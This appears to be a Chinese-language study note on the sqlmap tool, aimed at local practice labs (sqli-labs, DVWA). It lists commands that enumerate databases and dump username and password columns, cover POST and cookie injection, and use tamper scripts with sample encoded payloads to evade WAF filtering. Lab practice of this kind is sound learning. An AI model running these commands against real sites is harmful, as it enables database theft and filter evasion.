sqlmap基本使用
获取一个url：
http://localhost/sqli-labs-master/Less-1/?id=1
判断是否有注入
python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1”
get型注入
查看所有数据库：python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --dbs
查看当前使用的数据库：python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-db
查看当前用户：python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-user
查看数据表：python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security --tables
查看字段名：python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security -T users --columns
查看数据:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security -T users -C username,password --dump
post注入
指定post数据：python sqlmap.py –u “http://localhost/DVWA-master/vulnerabilities/sqli/” --data “post数据”
其余参数同get
Cookie注入
指定cookiepython sqlmap.py –u “http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie “…cookie值”
其余参数同get
如果不扫描cookie参数可尝试提高等级：–level 1-5
post与cookie举例：
语句
python sqlmap.py –u “http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit” --data “id=1&Submit=Submit” --cookie " security=medium; Phpstorm-59ffdf3e=b96b8d81-1a28-4172-9cfd-0c102f180bc5; PHPSESSID=od9ogfo1ej1f0auccbp96edt02" --current-db
效果
使用sqlmap进绕过waf机制
介绍
sqlmap中的tamper给我们带来了很多防过滤的脚本，非常实用，通过自带的tamper，或者自行编写tamper(路径：安装目录sqlmap\tamper)，可以帮助我们绕过waf进行自动化攻击
使用
指定脚本：
– tamper “脚本名”(“apostrophemask”)
例：python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --tamper “脚本名”
常用脚本：
apostrophemask.py：
用utf8代替引号–>(“1 AND ‘1’='1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
base64encode.py ：
用base64编码替换–>(“1’ AND SLEEP(5)#”)‘MScgQU5EIFNMRUVQKDUpIw==’
multiplespaces.py：
围绕SQL关键字添加多个空格–>(‘1 UNION SELECT foobar’)‘1 UNION SELECT foobar’
space2plus.py：
用+替换空格–>(‘SELECT id FROM users’)‘SELECT+id+FROM+users’
nonrecursivereplacement.py：
双重查询语句,取代predefined SQL关键字with表示suitable for替代（例如 .replace（“SELECT”、”")） filters–>(‘1 UNION SELECT 2–’)‘1 UNIOUNIONN SELESELECTCT 2–’
space2randomblank.py:
代替空格字符（“”）从一个随机的空白字符可选字符的有效集–>(‘SELECT id FROM users’)‘SELECT%0Did%0DFROM%0Ausers’
unionalltounion.py:
替换UNION ALL SELECT UNION SELECT–>(’-1 UNION ALL SELECT’)’-1 UNION SELECT’
securesphere.py:
追加特制的字符串–>(‘1 AND 1=1’)“1 AND 1=1 and ‘0having’=‘0having’”
例：
语句：
python sqlmap.py -u “http://localhost/sqli-labs-master/Less-21/index.php” --cookie “uname=admin” -p uname --tamper “base64encode” --level 5 --dbms mysql
效果
自己编写脚本：
例：
自己写一个2or2and脚本，双写or和and
执行
python sqlmap.py -u “http://localhost/sqli-labs-master/Less-25/?id=1” --tamper 2or2and --dbs
